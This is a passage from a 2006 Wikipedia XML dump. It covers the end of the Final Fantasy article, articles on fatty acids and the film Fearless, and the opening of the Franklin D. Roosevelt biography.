Initially released on the PlayStation 2 and Microsoft Windows, ''Final Fantasy XI'' is to be released on the [[Xbox 360]], which utilizes dual-layer [[DVD]] technology. (Note: PlayStation 2 and some PC systems also utilise dual-layer DVD technology.) The Xbox 360 version will be released with the next expansion ''[[Final Fantasy XI: Treasures of Aht Urhgan|Treasures of Aht Urhgan]]'' on April 18th, 2006 worldwide. The expansion disk will be available on the PC and PlayStation 2 as well.

''Final Fantasy XII'' is scheduled to be released on March 16th, 2006 in Japan for the PlayStation 2. The game will utilize only half as many polygons as ''Final Fantasy X'' in exchange for more advanced textures and lighting. It will also allow the use of a free rotating camera.

Although no footage of a [[Blu-ray Disc]] (BD-ROM) generation ''Final Fantasy'' game has been released yet, a [[Final Fantasy VII technical demo|technical demo of ''Final Fantasy VII'']] was revealed at the 2005 [[E3|Electronic Entertainment Expo]] to showcase what the next title in the series will look like on Sony's [[PlayStation 3]].

== Gameplay ==

=== Game screens ===
The games typically have several types of screens, or modes of interaction, broadly categorized as:

* '''Field screens''' &amp;mdash; These are where the main interaction between the characters occurs, and indeed most of the exploration of the world occurs on these screens. Dialog mostly occurs on these screens. ''Final Fantasy VII'' marked the point that ''Final Fantasy'' would have realistic computer graphics, while ''[[Dragon Quest|Dragon Warrior]]'' stayed with anime style [[Cel-shaded animation|cel-shaded]] graphics. Prior to ''Final Fantasy VII'', they were pseudo-[[Orthographic projection|orthographic]], using a simple [[Dimension|2D]] [[Game engine|engine]]. ''Final Fantasy VII'', ''Final Fantasy VIII'', and ''Final Fantasy IX'' used pre-rendered and pre-painted backgrounds over which 3D models were overlaid. ''Final Fantasy X'' used a completely 3D field screen system, which allowed the camera angle to change as the characters moved about.
* '''Battle screens''' &amp;mdash; Battles occur on a separate type of screen (or [[arena]]), usually with a change of scale and a backdrop &quot;arena&quot; that usually generically represents where the battle is occurring in the game. (For example, a random battle in a [[desert]] gets a desert backdrop.)  Plot-relevant battles (as opposed to battling random monsters) may have a specially built battle screen/arena, however. In ''Final Fantasy VII'' and later, these screens are fully 3D, using higher resolution versions of the characters, but very restricted in size. ''Final Fantasy XII'' will do away with &quot;scene-battles&quot;: battle sequences will occur on the main field screen.
* '''World screen''' &amp;mdash; A low-scale screen used to symbolize traveling great distances in times that would otherwise slow the game down unacceptably plot-wise. These are usually not scaled, as a character may appear the size of a small mountain. Relatively little plot occurs here, but there are exceptions.  The world screen was eliminated in ''Final Fantasy X'' and ''Final Fantasy X-2''.
* '''[[Cut-scene|Cutscenes]]''' &amp;mdash; These scenes are non-interactive playback that usually advances the plot.  They can either be pre-rendered video (FMV), or they can be executed in with the same engine as the field screens. In some cases, pre-rendered video was overlaid with real-time rendered field screen graphics (full motion video-3D).
* '''Menu Screen''' &amp;mdash; This screen is used for navigating your party's status, equipment, magic, etc. This screen is usually a very simple blue-table layout, with a gloved hand to select one's options. In some games, the option to change the color or texture of the tables is given.

The games often feature various [[:Category:Final Fantasy minigames|minigames]] with their own graphical engines.

=== Battle system ===
[[Image:Activetimebattle.jpg|256px|right|thumb|[[Screenshot]] of ''[[Final Fantasy IX]]'' during a battle. The enlarged bars represent the [[Active Time Battle]] system used in several Final Fantasy installments.]]
''Final Fantasy'' uses a menu-driven, [[Turn-based game|turn-based]] battle system. Most games in the series utilize an [[Experience point|experience level]] system for character advancement (although ''Final Fantasy II'' and ''Final Fantasy X'' did not), and a point-based system for casting magical spells (though ''Final Fantasy'', ''Final Fantasy III'' and ''Final Fantasy VIII'' all featured different approaches). Most games in the series (from ''Final Fantasy III'' and on) feature a variety of &quot;special commands,&quot; over and beyond the traditional &quot;Attack,&quot; &quot;Defend,&quot; &quot;Cast Magic,&quot; &quot;Item,&quot; and &quot;Run&quot; battle commands, such as the ability to steal items from enemies, or performing a leap attack. Often these special attacks are integrated into the &quot;job system,&quot; which has appeared in several games in the series and spinoffs (''Final Fantasy III'', ''Final Fantasy V'', ''Final Fantasy Tactics'', ''Final Fantasy Tactics Advance'', ''Final Fantasy X-2'').

''Final Fantasy'' through ''Final Fantasy III'' all featured a traditional turn-based battle system. The player would input all battle commands at the beginning of each combat round, which would then be carried out based on the speed rating of each participant. Starting with ''Final Fantasy IV'', and continuing until ''Final Fantasy IX'' (and revived in ''Final Fantasy X-2''), the &quot;[[Active Time Battle]]&quot; (ATB) system was used. The ATB system was semi-real time, and assigned every participant in combat a time gauge. When a specific character's time gauge was filled, the character could act, which would then reset the timer. Generally each of these games included both &quot;active&quot; and &quot;wait&quot; modes: when &quot;wait&quot; mode was chosen, then all activity relating to the time gauge would pause whenever the player was using a submenu to choose a magic spell, item, or special attack. In &quot;active&quot; mode, time would pass even if the player was using a submenu, allowing attacks to be performed while the player was issuing commands.

''Final Fantasy X'' abandoned the ATB system in favor of the &quot;[[Turn-based strategy|Conditional Turn-based Battle]]&quot; (CTB) system. In the CTB system, every participant in battle would be ranked according to speed. As this ranking was displayed on screen during battle, it was possible to know when a character and/or enemy would move several combat turns in advance, and to plan battles accordingly. Because the CTB system was completely turn-based, the time gauge was absent. This system was also used in the spinoffs, ''Final Fantasy Tactics'' and ''Final Fantasy Tactics Advance'', although the terminology was not.

''Final Fantasy XI'' featured the &quot;Real Time Battle&quot; (RTB) system. Unlike previous iterations of the ''Final Fantasy'' series, characters no longer stand still during battle while taking turns to attack. Combat is real time, where the character is allowed to freely move about. After targeting an enemy, the character automatically performs basic physical attacks unless otherwise instructed by the player through menu-based commands. However, unlike in some other [[MMORPG]]s, the attack speed, hit rate and dodge rate of the character are entirely dependent on the game's statistics system, rather than by player input.

''Final Fantasy XII'' will feature a combat system similar to ''Final Fantasy XI'', called the &quot;Active Dimension Battle&quot; (ADB) system. The system is similar to the RTB system in that characters are free to move about during battle, and after targeting a monster, the character will automatically perform basic attacks. However, there will also be a visible ATB-like time gauge showing when a character can act. &quot;Active&quot; and &quot;wait&quot; modes will also make a return. Also, an important addition to this game's battle system is the ''Gambit'' system, in which the [[artificial intelligence|AI]] of party members can be set so that they will automatically perform certain actions without prior input from the player.

Unlike previous games, battles in both ''Final Fantasy XI'' and ''Final Fantasy XII'' take place on the field screen, with no separate battle screen resulting from &quot;random encounters&quot;.

== Criticism ==
Although the series is extremely popular, it is not without critics. More recent installments are attacked in particular, especially those made after ''Final Fantasy VI''. Elements of the ''Final Fantasy'' series which have drawn especial criticism in recent years include the creators' extensive use (some would say overuse) of full motion video, the games' often rigidly linear storylines, and the designers' tendency to repeat themes, motifs, or battle systems from one game to the next. Defenders often argue that the negative responses can be attributed to nostalgia on the part of fans of earlier Final Fantasy games; for example, full motion video has only been used since ''Final Fantasy VII''.

Many long time fans of the series blame the fall in standards on the departure of character designer [[Yoshitaka Amano]] after ''Final Fantasy VI''. [[Tetsuya Nomura]], who has handled character design for the majority of the post-''Final Fantasy VI'' series', has been criticized by the Amano fans, especially those who feel that Nomura's designs look too juvenile when compared to Amano's work. Similar complaints have begun to surface surrounding the departure of long-time series music composer [[Nobuo Uematsu]] since ''Final Fantasy X'', where he shared the role of composer with Masashi Hamauzu and Junya Nakano. ''Final Fantasy XII'' sees Uematsu's role diminished to a single song. The game's theme song is performed by [[Angela Aki]] while the rest of the soundtrack is composed by [[Hitoshi Sakimoto]]. ''Final Fantasy XII'' has neither Amano nor Nomura as character designer, but instead has [[Akihiko Yoshida]].

''Final Fantasy'' is also known for &quot;re-inventing&quot; the series with almost every game, as each game takes a different approach in gameplay and story than the last; although this keeps the series from feeling stale with repeated sequels, fans of one game may not like the other games in the series. Of the more recent installments in the series ''Final Fantasy VIII'', ''Final Fantasy XI'' and ''Final Fantasy X-2'' have been most frequently singled out for criticism: ''Final Fantasy VIII'' for its radical story and cast of entirely human teenaged characters, ''Final Fantasy XI'' for switching to a [[MMORPG]] format and ''Final Fantasy X-2'' for its status as the first direct sequel to a previous ''Final Fantasy'' game, taking a radical departure from the serious tone of ''Final Fantasy'' games (especially ''Final Fantasy X''), and for its supposed overreliance on [[fan service]], as the playable characters were frequently featured wearing revealing clothing (''Final Fantasy X-2'').

== See also ==
*[[Final Fantasy bestiary]]
*[[Final Fantasy character classes]]
*[[Final Fantasy magic]]
*[[List of Final Fantasy characters]]
*[[List of Final Fantasy locations]]
*[[List of Final Fantasy titles]]
*[[List of Final Fantasy weapons]]
*[[List of Final Fantasy Armor]]
*[[Races of Final Fantasy]]

==External links==
{{portal}}
{{wikiquote}}
*[http://www.square-enix.com/na/title/ff/ Square Enix]'s official ''Final Fantasy'' website (English)
*[http://www.square-enix.com/jp/title/finalfantasy/ Square Enix]'s official ''Final Fantasy'' website (Japanese)
*[[Open Directory Project]]: [http://dmoz.org/Games/Video_Games/Roleplaying/F/Final_Fantasy_Games/ ''Final Fantasy'' sites]
*[http://www.mobygames.com/game_group/sheet/gameGroupId,176/ ''Final Fantasy Series''] at [[MobyGames]]
*{{wikicities|finalfantasy|Final Fantasy Wiki}}
*[http://ffwiki.blueshinra.com/ Final Fantasy Wiki]
*[http://www.gamespot.com/features/vgs/universal/finalfantasy_hs/ History of Final Fantasy]

&lt;!-- Please NOTE: In order to keep the size of this list manageable, please DO NOT add any external links without first making a discussion on the Talk page ( Talk:Final_Fantasy ). This article is NOT intended to be a comprehensive fanlisting (see What Wikipedia Is Not.. WP:NOT ). --&gt;

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  <page>
    <title>Fatty acid</title>
    <id>10975</id>
    <revision>
      <id>42147081</id>
      <timestamp>2006-03-04T03:14:27Z</timestamp>
      <contributor>
        <username>Istvan</username>
        <id>457803</id>
      </contributor>
      <minor />
      <comment>/* Essential fatty acids */</comment>
      <text xml:space="preserve">In [[chemistry]], especially [[biochemistry]], a '''fatty acid''' is a [[carboxylic acid]] (or organic acid), often with a long [[aliphatic]] tail ([[long chain|long chains]]), either [[saturation (chemistry)|saturated]] or unsaturated. Depending on the context, fatty acids may be assumed to have at least 8 carbon atoms, e.g., [[caprylic acid]] (octanoic acid).  Most of the natural fatty acids have an even number of carbon atoms, because their [[biosynthesis]] involves [[acetate]] which has two carbon atoms. 

Industrially, fatty acids are produced by the [[hydrolysis]] of the [[ester]] linkages in a [[fat]] or biological oil (both of which are [[triglyceride]]s), with the removal of [[glycerol]]. See [[oleochemical]]s.

Reduction of fatty acids yields [[fatty alcohol]]s.

==Types of fatty acids==
[[Image:rasyslami.jpg|frame|Several fatty acid molecules]]
===Saturated fatty acids===
'''Saturated fatty acids''' do not contain any [[double bond]]s or other [[functional group]]s along the chain. The term &quot;saturated&quot; refers to [[hydrogen]], in that all carbons (apart from the [[carboxylic acid]] [-COOH] group) contain as many hydrogens as possible. In other words, the omega (&amp;omega;) end contains 3 [[hydrogen]]s (CH&lt;sub&gt;3&lt;/sub&gt;-) and each carbon within the chain contains 2 hydrogens (-CH&lt;sub&gt;2&lt;/sub&gt;-).

Saturated fatty acids form straight chains and, as a result, can be packed together very tightly, allowing living organisms to store chemical energy very densly.  The fatty tissues of animals contain large amounts of long-chain saturated fatty acids. In [[IUPAC nomenclature]], fatty acids have an [[-oic acid]] suffix. In [[common nomenclature]], the suffix is usually -ic. 

Some saturated fatty acids are:
* [[Acetic acid|Acetic]]: CH&lt;sub&gt;3&lt;/sub&gt;COOH
* [[Butyric acid|Butyric]]: CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;COOH 
* [[Lauric acid|Lauric]] (dodecanoic acid): CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;10&lt;/sub&gt;COOH 
* [[Myristic acid|Myristic]] (tetradecanoic acid): CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;12&lt;/sub&gt;COOH 
* [[Palmitic acid|Palmitic]] (hexadecanoic acid): CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;14&lt;/sub&gt;COOH 
* [[Stearic acid|Stearic]] (octadecanoic acid): CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;16&lt;/sub&gt;COOH
* [[Arachidic acid|Arachidic]] (eicosanoic acid): CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;18&lt;/sub&gt;COOH

===Unsaturated fatty acids===
'''Unsaturated fatty acids''' are of similar form, except that one or more [[alkene]] [[functional group]]s exist along the chain, with each alkene substituting a singly-[[chemical bond|bond]]ed &quot; -CH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-&quot; part of the chain with a [[Covalent bond|doubly-bonded]] &quot;-CH=CH-&quot; portion (that is, a carbon double bonded to another carbon). 

The two hydrogen atoms (H) that are bound to the doubly-bonded carbon atoms (C) can occur in a ''[[cis]]'' or ''trans'' configuration.

A ''cis'' configuration means that the two hydrogen atoms are on the same side of the chain.  Because of the polarization of the hydrogen atoms, the hydrogen atoms repel each other and cause the chain to bend.  The more double-bonds the chain has in the ''cis'' configuration, the more bent it is.  When a chain has many ''cis'' bonds, it becomes quite curved.  For example, oleic acid, with one double bond, has a &quot;kink&quot; in it, while linoleic acid, with two double bonds, has a more pronounced bend.  Linolenic acid, with three double bonds, forms a hooked shape.

A ''trans'' configuration, by contrast, means that the two hydrogen atoms occur on ''opposite'' sides of the chain.  As a result, they don't cause the chain to bend much, and their shape is similar to the straight saturated fatty acids.

In most naturally occurring unsaturated fatty acids, each double bond has 3''n'' carbon atoms after it, for some n, and all are [[cis]] bonds.  Most fatty acids in the ''trans'' configuration (trans fats) are unnatural and the result of human processing.

The differences in geometry between these various types of unsaturated fatty acids, as well as between saturated and unsaturated fatty acids, plays an important role is biological processes, and in the construction of biological structures (such as cell membranes).

====Nomenclature====
There are two different ways to make clear where the double bonds are located in molecules. For example:

* ''cis''/''trans''-Delta-''x'' or ''cis''/''trans''-&amp;Delta;&lt;sup&gt;''x''&lt;/sup&gt;: The double bond is located on the ''x''th carbon-carbon bond, counting from the carboxyl terminus. The ''cis'' or ''trans'' notation indicates whether the molecule is arranged in a [[cis]] or [[trans]] conformation. In the case of a molecule having more than one double bond, the notation is, for example,  ''cis'',''cis''-&amp;Delta;&lt;sup&gt;9&lt;/sup&gt;,&amp;Delta;&lt;sup&gt;12&lt;/sup&gt;. 
* Omega-''x'' or &amp;omega;-''x'' : A double bond is located on the ''x''th carbon-carbon bond, counting from the &amp;omega;, (methyl carbon) end. 

Example of unsaturated fatty acids: 
* (Alpha)-[[Linolenic acid]]: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;'''CH=CH'''CH&lt;sub&gt;2&lt;/sub&gt;'''CH=CH'''CH&lt;sub&gt;2&lt;/sub&gt;'''CH=CH'''(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;7&lt;/sub&gt;COOH 
* [[Docosahexaenoic acid]]
* [[Eicosapentaenoic acid]]
* [[Linoleic acid]]: CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;4&lt;/sub&gt;'''CH=CH'''CH&lt;sub&gt;2&lt;/sub&gt;'''CH=CH'''(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;7&lt;/sub&gt;COOH
* [[Arachidonic acid]] CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;4&lt;/sub&gt;'''CH=CH'''CH&lt;sub&gt;2&lt;/sub&gt;'''CH=CH'''CH&lt;sub&gt;2&lt;/sub&gt;'''CH=CH'''CH&lt;sub&gt;2&lt;/sub&gt;'''CH=CH'''(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;COOH&lt;sup&gt;[http://webbook.nist.gov/cgi/cbook.cgi?Name=Arachidonic+Acid&amp;Units=SI NIST]&lt;/sup&gt;
* [[Oleic acid]]: CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;7&lt;/sub&gt;'''CH=CH'''(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;7&lt;/sub&gt;COOH
* [[Erucic acid]]: CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;7&lt;/sub&gt;'''CH=CH'''(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;11&lt;/sub&gt;COOH

Alpha-linolenic, docosahexaenoic, and eicosapentaenoic acids are examples of [[omega-3 fatty acid]]s.  Linoleic acid and arachidonic acid are [[omega-6 fatty acid]]s.  Oleic and erucic acid are [[omega-9 fatty acid]]s.  Stearic and Oleic acid are both 18 [[Carbon|C]] fatty acids. They differ only in that stearic acid is saturated with hydrogen, while oleic acid is an unsaturated fatty acid with two fewer hydrogens.

====Essential fatty acids====
'''[[Essential fatty acid]]s''' are the polyunsaturated fatty acids, linoleic acid and alpha-linolenic acid, which are the parent compounds of the [[omega-6 fatty acid|omega-6]] and [[omega-3 fatty acid|omega-3]] fatty acid series respectively. They are essential in the human diet since they cannot be synthesized by the body. We can easily make saturated fatty acids or monounsaturated fatty acids with a double bond at the omega-9 position, but we do not have the enzymes to introduce a double bond at the omega-3 or -6 position. As a result, these fatty acids must be obtained from food sources; hence, they are &quot;essential.&quot;

The essential fatty acids are very important for our immune system and to help us regulate our blood pressure, since they are used to make compounds such as [[prostaglandin]]s. The brain is also highly enriched in derivatives of linolenic and alpha-linoleic acids.  Changes in the levels and balance of these fatty acids caused with a western diet of processed food and high intensity agriculture has been associated with depression and behavioral change including violence.  Changing diet to more natural food or taking supplements to compensate for dietary imbalance is associated with a reduction in violent behavior, and increases attention span, a finding has been replicated in studies within schools as well as a double blind study in a prison{{ref|lawrence}}{{ref|durham}}.

====Trans fatty acids====
{{main|Trans fat}}

A '''trans fatty acid''' (commonly shortened to '''trans fat''') is an unsaturated fatty acid molecule that contains a ''[[trans]]'' [[double bond]] between [[carbon]] atoms, which makes the molecule less kinked compared to fatty acids with ''[[cis]]'' double bonds. Research suggests a correlation between diets high in ''trans'' fats and diseases like [[atherosclerosis]] and [[coronary heart disease]].

==Free fatty acids==
Fatty acids can be bound or attached to other molecules, like [[triglyceride]]s or [[phospholipid]]s.  When they are not attached to other molecules, they are known as &quot;free&quot; fatty acids.

The '''uncombined fatty acids''' or '''free fatty acids''' may come from the breakdown of a triglyceride into its components (fatty acids and glycerol). 

Free fatty acids are an important source of fuel for many tissues since they can yield relatively large quantities of [[Adenosine triphosphate|ATP]].  Many cell types can use either [[glucose]] or fatty acids for this purpose.  However, heart and skeletal muscle prefer fatty acids.  On the other hand, the brain cannot use fatty acids as a source of fuel, relying instead on glucose, or on [[ketone bodies]] produced by the liver from [[fatty acid metabolism]] during starvation, or periods of low carbohydrate intake.

==pH==
[[Formic acid]] and [[Acetic acid]] are totally soluble in water and dissociate to form reasonably strong acids ([[pKa]] respectively 3.77 and 4.76). Longer chain fatty acids do not show a great change in pKa: Nonanic acid, for example, has a pKa of 4.96.  However, as the chain length increases the solubility of the fatty acids decreases very rapidly, so that the longer chain fatty acids have very little effect on the [[pH]] of a solution. The significance of their pKa values therefore only has relevance to the types of reaction that they take part in.

Even those fatty acids that are insoluble in water will dissolve in warm [[ethanol]], and can be [[titration|titrated]] with [[sodium hydroxide]] solution using [[phenolphthalein]] as an indicator to a pale pink endpoint.  This analysis is used to determine the free fatty acid content of fats, i.e. the proportion of the [[triglyceride]]s that have been [[hydrolysis|hydrolyzed]].

==Autoxidation and rancidity==
{{see also|Rancidification}}
Fatty acids at room temperature undergo a chemical change known as [[autoxidation]]. The fatty acid breaks down into [[hydrocarbon]]s, [[ketone]]s, [[aldehyde]]s, and smaller amounts of [[epoxide]]s and [[alcohol]]s. Heavy metals present at low levels in fats and oils promote autoxidation. Fats and oils often are treated with [[chelation|chelating agents]] such as [[citric acid]].

==Sources==
# {{note|lawrence}} {{cite book
 | first = Felicity
 | last = Lawrence
 | year = 2004
 | title = Not on the Label
 | chapter = 214
 | editor = Kate Barker
 | pages = 213
 | publisher = Penguin
 | id = ISBN 0-141-01566-7
 }}
# {{note|durham}} {{cite web
 | title = Using Fatty Acids for Enhancing Classroom Achievement
 | url = http://www.durhamtrial.org/
 | accessdate = January
 | accessyear = 2004
 }}

==See also==
{{Commons|Fatty acids}}

* [[Essential fatty acid]]
* [[Triglyceride]]
* [[Saturated fat]]
* [[Unsaturated fat]]
* [[Fatty acid metabolism]]

==External links==
* [http://www.scientificpsychic.com/fitness/fattyacids.html Chemical Structure of Fats and Fatty Acids]

[[Category:Fatty acids| ]]
[[Category:Lipids]]
[[Category:Nutrition]]

[[cs:Mastná kyselina]]
[[da:Fedtsyre]]
[[de:Fettsäuren]]
[[eo:Grasacido]]
[[es:Ácido graso]]
[[fr:Acide gras]]
[[he:חומצת שומן]]
[[ja:脂肪酸]]
[[nl:Vetzuur]]
[[pl:Kwas tłuszczowy]]
[[ru:Жирные кислоты]]
[[sl:Maščobna kislina]]
[[sv:Fettsyra]]
[[th:กรดไขมัน]]
[[uk:Жирна кислота]]
[[zh:脂肪酸]]</text>
    </revision>
  </page>
  <page>
    <title>Fearless (film)</title>
    <id>10977</id>
    <revision>
      <id>40363469</id>
      <timestamp>2006-02-20T01:50:52Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{otheruses3|Fearless}}
----
{{Infobox Film 
  | name = Fearless
  | image = Fearlessmovieposter.jpeg
  | caption = 
  | director = [[Peter Weir]]
  | producer = 
  | writer = [[Rafael Yglesias]]&lt;br&gt;based on his novel
  | starring = [[Jeff Bridges]]&lt;br /&gt;[[Isabella Rossellini]]&lt;br /&gt;[[Tom Hulce]]&lt;br /&gt;[[Rosie Perez]]&lt;br /&gt;[[Benicio del Toro]]&lt;br /&gt;[[John Turturro]]
  | music = [[Maurice Jarre]]
  | cinematography = [[Allen Daviau]]
  | editing =
  | distributor = 
  | released = [[1993]]
  | runtime = 122 min.
  | language = [[English language|English]]
  | budget = 
  | imdb_id = 0106881
}}
'''''Fearless''''' is a [[1993]] [[film|movie]] directed by [[Peter Weir]] and written by [[Rafael Yglesias]] from his [[Fearless (novel)|novel]].

Rosie Perez was nominated for an [[Academy Award for Best Supporting Actress]] for her role as Carla Rodrigo. She lost to [[Anna Paquin]]. The film features [[Henryk Górecki]]'s third symphony, subtitled ''Symphony of Sorrowful Songs''.

{{spoiler}}

Max Klein is a survivor of an [[airplane]] crash. Many died, including his [[business]] partner. The trauma transforms his entire life. He enters an altered state of consciousness; soon after the crash he even thinks he is dead, and begins rethinking [[life]], [[death]], [[God]], and the [[afterlife]]. Existential questions start to preoccupy his life. He moves away from his wife, son, and friends but, encouraged by an aircraft company [[psychiatrist]], he tries to break the [[clinical depression|depression]] and apathy of another survivor, Carla Rodrigo, who lost her baby son during the flight.

== Historical connections ==
The doomed flight in the movie bears many resemblances with the real-life crash landing of [[United Airlines Flight 232]] in [[1989]]:
*The plane suffered a failure in the hydraulics system, following an engine explosion.
*The crew attempted an emergency landing, and most of the passengers and crew survived.
*The speech given by the Captain to the passengers before impact resembles closely to the one Captain [[Al Haynes]] gave in real life, including his closing line &quot;Good luck to us all.&quot;
*A man receives media coverage for saving the life of a small child. In the movie, the hero is Max Klein, a survivor. In real life, it was Colonel Dennis Nielsen, a rescuer.

==External links==
*{{imdb title|id=0106881|title=Fearless}}

{{Peter Weir Films}}

[[Category:1993 films]]
[[Category:Films directed by Peter Weir]]

[[ru:Бесстрашный (фильм)]]</text>
    </revision>
  </page>
  <page>
    <title>Franklin D. Roosevelt</title>
    <id>10979</id>
    <revision>
      <id>42156130</id>
      <timestamp>2006-03-04T04:44:45Z</timestamp>
      <contributor>
        <username>RJII</username>
        <id>141644</id>
      </contributor>
      <comment>/* The First New Deal, 1933-1934 */ devaluation was theft</comment>
      <text xml:space="preserve">{{Infobox_President | name=President Franklin Delano Roosevelt
| nationality=american
| image=FDR in 1933.jpg
| order=32nd President
| term_start=[[March 4]], [[1933]]
| term_end=[[April 12]], [[1945]]
| predecessor=[[Herbert Hoover]]
| successor=[[Harry S. Truman]]
| birth_date=[[January 30]], [[1882]]
| birth_place=[[Hyde Park, New York|Hyde Park]], [[New York]]
| death_date=[[April 12]], [[1945]]
| death_place=[[Warm Springs, Georgia]]
| spouse=[[Eleanor Roosevelt]]
| party=[[Democratic Party (United States)|Democratic]]
| vicepresident=[[John N. Garner]]&lt;br&gt;[[Henry A. Wallace]]&lt;br&gt;[[Harry S. Truman]]
}}
{{redirect|FDR}}
'''Franklin Delano Roosevelt''' ([[January 30]], [[1882]] &amp;ndash; [[April 12]], [[1945]]), 32nd [[President of the United States]], the longest-serving holder of the office and the only person to be elected President more than twice, was one of the central figures of 20th century history. He is best known for leading the U.S. through the [[Great Depression]], building a powerful political coalition that dominated American politics for decades, and leading the military alliance that defeated [[Nazi Germany]], [[Fascist Italy]] and the [[Empire of Japan]] in [[World War II]]. A child of economic and social privilege, he overcame crippling illness to place himself at the head of the forces of reform.  Universally called FDR, he was both loved and hated in his day but today many consider him one of the greatest of American presidents.  

==Early life==
Franklin Delano Roosevelt was born on [[January 29]], [[1882]], in [[Hyde Park, New York|Hyde Park]], in the [[Hudson River]] valley in [[upstate New York|upstate]] [[New York]].  His father, [[James Roosevelt, Sr.|James Roosevelt]] (1828&amp;ndash;1900), was a wealthy landowner and vice-president of the [[Delaware and Hudson Railway]]. The Roosevelt family (see [[Roosevelt family tree]]) had lived in New York for more than 200 years: [[Claes van Rosenvelt]], originally from [[Haarlem]] in the [[Netherlands]], arrived in New York (then called [[Nieuw Amsterdam]]) in about 1650. In 1788, [[Isaac Roosevelt]] was a member of the [[state convention]] in [[Poughkeepsie, New York|Poughkeepsie]] which voted to ratify the [[United States Constitution]] - a matter of great pride to his great-great-grandson Franklin.

In the 18th century the Roosevelt family had divided into two branches, the &quot;Hyde Park Roosevelts&quot;, who by the late 19th century were [[United States Democratic Party|Democrats]], and the &quot;[[Oyster Bay, New York|Oyster Bay]] Roosevelts&quot;, who were [[United States Republican Party|Republicans]]. President [[Theodore Roosevelt]], an Oyster Bay Republican, was Franklin's fifth cousin. Despite their political differences, the two branches remained friendly: James Roosevelt met his wife at a Roosevelt family gathering at Oyster Bay, and Franklin was to marry Theodore's niece.

Roosevelt's mother [[Sara Roosevelt|Sara Ann Delano]] (1854&amp;ndash;1941) was of French Protestant ([[Huguenot]]) descent, her ancestor [[Phillippe de la Noye]] having arrived in [[Massachusetts]] in 1621. Her mother was a [[Lyman]], another very old American family. Franklin was her only child, and she was an extremely possessive mother. Since James was an elderly and remote father (he was 54 when Franklin was born), Sara was the dominant influence in Franklin's early years. He later told friends that he was afraid of her all his life. 

Roosevelt grew up in an atmosphere of privilege. He learned to ride, to shoot, to row and to play [[polo]] and [[lawn tennis]]. Frequent trips to [[Europe]] made him conversant in [[German language|German]] and [[French language|French]]. The fact that his father was a Democrat, however, set him apart to some extent from most other members of the [[Hudson Valley]] aristocracy. The Roosevelts believed in public service, and were wealthy enough to be able to spend time and money on philanthropy.

Roosevelt went to [[Groton School]], an elite [[Episcopal Church in the United States of America|Episcopal]] boarding school near Boston.  He was heavily influenced by the headmaster, [[Endicott Peabody (educator)|Endicott Peabody]], who preached the duty of Christians to help the less fortunate and urged his students to enter public service.  Roosevelt graduated from Groton in 1900, and naturally progressed to [[Harvard University]], where he enjoyed himself in conventional fashion and graduated with an A.B. (arts degree) in 1904 without much serious study. While he was at Harvard, Theodore Roosevelt became President and his vigorous leadership style and reforming zeal made him Franklin's role model. In 1903 he met his future wife [[Eleanor Roosevelt]], Theodore's niece, at a [[White House]] reception. (They had previously met as children, but this was their first serious encounter.)

Roosevelt next attended the [[Columbia University|Columbia Law School]]. He passed the [[bar exam]] and completed the requirements for a law degree in 1907 but did not bother to actually graduate. In 1908 he took a job with the prestigious Wall Street firm of [[Carter, Ledyard and Milburn]], dealing mainly with [[corporate law]].

==Marriage and children==
Meanwhile he had become engaged to Eleanor, despite the fierce resistance of Sara Delano Roosevelt, who was terrified of losing control of Franklin. They were married on [[March 17]], [[1905]], and moved into a house bought for them by Sara, who became a frequent house-guest, much to Eleanor's mortification. Eleanor was painfully shy and hated social life, and at first she desired nothing more than to stay at home and raise Franklin's children, of which they had six in rapid succession:

*[[Anna E. Roosevelt|Anna Eleanor]] (1906&amp;ndash;1975).
*[[James Roosevelt|James]] (1907&amp;ndash;1991).
*Franklin Delano, Jr. (March to November 1909).
*[[Elliott Roosevelt|Elliott]] (1910&amp;ndash;1990),
*a second [[Franklin Delano Roosevelt, Jr.|Franklin Delano, Jr.]] (1914&amp;ndash;1988),
*[[John Aspinwall Roosevelt|John Aspinwall]] (1916&amp;ndash;1981).

The five surviving Roosevelt children all led tumultuous lives overshadowed by their famous parents. They had among them fifteen marriages, ten divorces and twenty-nine children. All four sons were officers in [[World War II]] and were decorated, on merit, for bravery. Their postwar careers, whether in business or politics, were disappointing. Two of them were elected briefly to the [[United States House of Representatives|House of Representatives]] but none attained higher office despite several attempts. One even became a Republican.

==Political career==
[[Image:Franklin Roosevelt Secretary of the Navy 1913.jpg|thumb|right|200px|FDR as Assistant Secretary for the Navy]]
